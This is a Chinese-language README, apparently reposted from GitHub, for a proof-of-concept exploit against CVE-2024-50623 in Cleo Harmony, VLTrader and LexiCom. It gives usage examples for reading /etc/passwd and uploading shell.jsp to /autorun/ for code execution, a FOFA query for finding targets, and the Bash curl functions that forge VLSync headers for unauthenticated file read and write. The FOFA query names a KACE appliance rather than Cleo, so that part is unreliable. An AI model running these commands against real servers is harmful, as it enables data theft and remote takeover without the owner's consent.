Cleo 文件传输软件高危漏洞利用工具 (CVE-2024-50623)

4 阅读3分钟

Cleo 文件传输软件高危漏洞利用工具 (CVE-2024-50623)

本项目提供了一个针对 Cleo Harmony、VLTrader 和 LexiCom 软件(版本低于 5.8.0.21)中严重安全漏洞 CVE-2024-50623 的概念验证(POC)利用工具。该漏洞允许未经身份验证的攻击者进行不受限制的文件上传与下载,可能导致远程代码执行。

漏洞详情CVE-2024-50623

免责声明:本概念验证(POC)工具仅用于教育和授权环境下的安全测试。在未获得目标系统所有者明确许可的情况下,使用本工具攻击任何目标均属非法行为。最终用户有责任遵守所有适用的法律法规。开发者不对任何因滥用或误用本程序造成的损害承担责任。

功能特性

  • 文件读取:利用漏洞从目标服务器读取任意文件。
  • 文件写入:向目标服务器的指定路径写入任意文件。
  • 代理支持:支持通过 HTTP/HTTPS 代理发送请求,便于调试或匿名化。
  • 日志记录:自动将所有操作和网络交互记录到 exploit.log 文件中,便于审计。
  • 目标发现:提供 FOFA 搜索语法,帮助识别潜在的受影响系统。

安装指南

系统要求

  • 操作系统:Linux / macOS / Windows (通过 WSL 或 Git Bash)
  • 依赖项:curl, bash (通常为大多数 Unix-like 系统的默认组件)

安装步骤

  1. 克隆项目仓库:

    git clone https://github.com/verylazytech/CVE-2024-50623
    
  2. 进入项目目录:

    cd CVE-2024-50623
    
  3. 为脚本添加可执行权限(如果需要):

    chmod +x cve-2024-50623.sh
    

使用说明

基础语法

bash ./cve-2024-50623.sh -t <目标URL> -a <read|write> -f <远程文件路径> [--w <本地文件路径>] [--proxy <代理URL>]

参数说明

  • -t:目标服务器的 URL (例如 https://target.example.com)。
  • -a:操作类型,可选 read (读取) 或 write (写入)。
  • -f:远程目标文件路径 (例如 /etc/passwd/autorun/evil.txt)。
  • --w:当 -awrite 时,指定要上传的本地文件路径。
  • --proxy:可选,指定代理服务器 (例如 http://127.0.0.1:8080)。

典型使用场景

1. 读取远程文件

以下示例从目标服务器读取 /etc/passwd 文件:

bash ./cve-2024-50623.sh -t https://target.example.com -a read -f /etc/passwd

2. 写入文件到目标

将本地的 shell.jsp 文件上传到目标的 /autorun/ 目录,可能会触发自动执行:

bash ./cve-2024-50623.sh -t https://target.example.com -a write -f /autorun/shell.jsp --w ./shell.jsp

3. 通过代理运行

使用 Burp Suite 或其他代理工具来查看或修改请求:

bash ./cve-2024-50623.sh -t https://target.example.com -a read -f /windows/win.ini --proxy http://127.0.0.1:8080

目标发现

使用以下 FOFA 搜索语法快速定位可能受影响的系统(注意:搜索结果可能包含其他系统,请仔细甄别):

body="packages/partnerlogos/userportal_logo" && title="KACE Systems Management Appliance Service Center"

核心代码

该工具的核心是一个 Bash 脚本,它通过构造特制的 VLSync HTTP 头来与目标 Synchronization 端点进行交互,实现不受限制的文件读写操作。

1. 版本提取函数

该函数向 /Synchronization 端点发送请求,并从响应头中解析服务器版本号,该版本号用于后续的漏洞利用请求。

# Extract version function
extract_version() {
  curl -s -k ${PROXY:+--proxy "$PROXY"} "$1/Synchronization" | grep -oP 'Server: .*?/\K[^ ]+'
}

2. 文件读取核心逻辑

通过设置 VLSync 头为 Retrieve 操作,并指定 path 为要读取的文件路径,来诱导服务器返回该文件内容。

read_file() {
  local target_version=$(extract_version "$1")
  local headers="VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=${target_version};a=1337;po=1337;s=True;b=False;pp=1337;path=$2"

  # Fetch the file and log the action
  curl -s -k ${PROXY:+--proxy "$PROXY"} -H "$headers" "$1/Synchronization" | tee -a exploit.log
  log INFO "Reading file: $2"
}

3. 文件写入核心逻辑

通过设置 VLSync 头为 ADD 操作,并通过 --data-binary 参数将本地文件的内容作为请求体发送,从而在目标服务器上创建或覆盖文件。

write_file() {
  local target_version=$(extract_version "$1")
  local headers="VLSync: ADD;l=Ab1234-RQ0258;n=VLTrader;v=${target_version};a=1337;po=1337;s=True;b=False;pp=1337;path=$2"

  # Send the file data and log the action
  curl -s -k ${PROXY:+--proxy "$PROXY"} -H "$headers" --data-binary "@$3" "$1/Synchronization" | tee -a exploit.log
  log INFO "Writing file: $2 with data from $3"
}

6HFtX5dABrKlqXeO5PUv/8w+Y9CHol2VpA2aFDLZsUg=